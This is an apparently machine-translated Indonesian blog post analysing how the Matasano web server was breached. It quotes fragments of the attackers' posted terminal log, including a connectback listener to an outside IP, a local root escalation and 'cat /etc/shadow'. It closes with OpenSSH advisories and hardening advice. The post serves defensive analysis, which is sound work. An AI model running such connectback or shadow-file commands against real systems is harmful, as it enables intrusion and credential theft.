Bagaimana Matasano diretas?
Itu tidak mungkin dijawab dari informasi di pos ke Pengungkapan Penuh. Namun selalu menarik untuk berspekulasi, karena mereka memberikan sedikit info -
# ./th3_f1n4l_s0lut10n www.matasano.com
[-] Menghubungkan ke 69.61.87.163:22 ..
[/] Mencari pengguna non-root yang valid .. adam
******** R3D4CT3D h4h4h4h4 ********
Mereka menjalankan " th3_f1n41_s01ut10n
" biner mereka terhadap server Matasano, yang terhubung ke port ssh. Ia menemukan pengguna non-root yang valid melalui beberapa cara yang tidak diketahui, dan sisa output dihapus.
# ./th3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com
[*] Pendengar Connectback pada 209.112.118.10:3338 ..
[!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1, OpenSSL 0.9.8g 19 Okt 2007]
Biner dijalankan lagi menggunakan nama pengguna yang ditemukan, yang masuk dan menghubungkan kembali ke server mereka pada port 3338 (harap itu tidak terdaftar atas nama mereka ...).
adam_at_www: ~ $ uname -a
Linux www 2.6.20.1-1-686 # 1 SMP Sun Mar 4 12:44:55 UTC 2007 i686 GNU / Linux
**** h4h4h4hh4h4h4 l3tz us3 m0r3! 0D4Y! H4H4H4H4H4H4H4 ****
Mereka mungkin menyiratkan mereka memiliki 0 hari terhadap kernel ini, yang cukup lama ketika Anda mempertimbangkan stock-in-trade perusahaan ini.
adam_at_www: ~ $ cd / tmp
*********** B0R1NG ***********
root_at_www: ~ # cat / etc / shadow
Whoops - tiba-tiba pengguna sekarang root. Mereka memiliki exploit privilege eskalasi lokal di / tmp yang mungkin merupakan 0-hari yang mereka maksud.
Jadi setidaknya ada dua eksploitasi yang terjadi di sini - eksploitasi OpenSSH untuk mendapatkan pengguna non-root yang valid pada sistem, dan login sebagai pengguna itu, dan kemudian eskalasi privilege lokal.
Menimbang bahwa OpenSSH memiliki beberapa masalah keamanan yang diketahui sejak versi 4.5:
Dari halaman keamanan OpenSSH :
- OpenSSH sebelum versi 5.2 rentan terhadap kelemahan protokol yang dijelaskan dalam CPNI-957037 "Plaintext Recovery Attack Against SSH". Namun, berdasarkan informasi terbatas yang tersedia, tampaknya serangan yang dijelaskan ini tidak mungkin dilakukan di sebagian besar keadaan. Untuk informasi lebih lanjut, lihat penasehat cbc.adv dan catatan rilis OpenSSH 5.2.
- OpenSSH 4.9 dan yang lebih baru tidak mengeksekusi
~/.ssh/rc
untuk sesi yang perintahnya telah ditimpa dengan sshd_config (5) arahan ForceCommand. Ini adalah perilaku yang didokumentasikan, tetapi tidak aman (dijelaskan dalam catatan rilis OpenSSH 4.9).
- OpenSSH 4.7 dan yang lebih baru tidak jatuh kembali ke pembuatan cookie otentikasi X11 yang tepercaya ketika pembuatan cookie yang tidak tepercaya gagal (misalnya karena kehabisan sumber daya yang disengaja), seperti yang dijelaskan dalam catatan rilis OpenSSH 4.7.
Saya kira memiliki kernel Linux yang lebih tua ini dan daemon SSH yang lebih tua lakukan untuk mereka. Juga, itu berjalan di server www mereka, yang tersedia untuk Internet, yang merupakan hal yang cukup percaya diri untuk dilakukan menurut pendapat saya. Orang-orang yang masuk jelas ingin mempermalukan mereka.
Bagaimana cara mencegah serangan ini?
Ini bisa dicegah dengan administrasi proaktif - memastikan semua layanan yang dihadapi internet ditambal, dan membatasi jumlah orang yang dapat terhubung daripada memungkinkan orang untuk terhubung dari mana saja. Episode ini menambah pelajaran bahwa mengamankan sistem administrasi sulit, dan membutuhkan dedikasi dari bisnis untuk menyediakan waktu bagi TI untuk menjaga hal-hal yang ditambal - pada kenyataannya, bukan sesuatu yang terjadi dengan mudah, setidaknya di perusahaan kecil.
Menggunakan pendekatan sabuk-dan-kawat gigi adalah yang terbaik - menggunakan otentikasi kunci publik, masuk daftar putih pada ssh daemon, otentikasi dua faktor, pembatasan IP, dan / atau meletakkan segala sesuatu di belakang VPN adalah rute yang memungkinkan untuk menguncinya.
Saya rasa saya tahu apa yang akan saya lakukan di tempat kerja besok. :)